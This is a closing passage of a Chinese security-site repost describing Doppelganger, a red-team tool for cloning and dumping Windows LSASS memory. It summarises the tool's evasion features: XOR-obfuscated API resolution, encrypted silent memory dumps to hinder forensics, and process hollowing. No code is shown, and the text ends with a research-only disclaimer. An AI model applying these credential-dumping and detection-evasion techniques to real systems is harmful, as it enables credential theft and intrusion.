  • 通过 XOR 混淆的 API 解析和运行时解密来避免静态检测

  • 静默转储内存并加密以避免被取证

  • 通过 HollowReaper 干净、隐蔽的进程挖空程序实现可选的内存执行

这种低级 Windows 内部结构、隐秘加载器设计和模块化架构的结合使得 Doppelganger 成为红队行动、逃避研究和攻击工具开发的强大资产。

话虽如此,它并非灵丹妙药。像Credential Guard和行为检测系统这样的现代 Windows 安全功能仍然构成挑战。但如果使用得当,Doppelganger 可以绕过防御者目前所依赖的许多障碍。

 

原文始发于微信公众号(Ots安全):Doppelganger:克隆并转储 LSASS 以逃避检测

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月14日08:57:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Doppelganger:克隆并转储 LSASS 以逃避检测https://cn-sec.com/archives/3952071.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息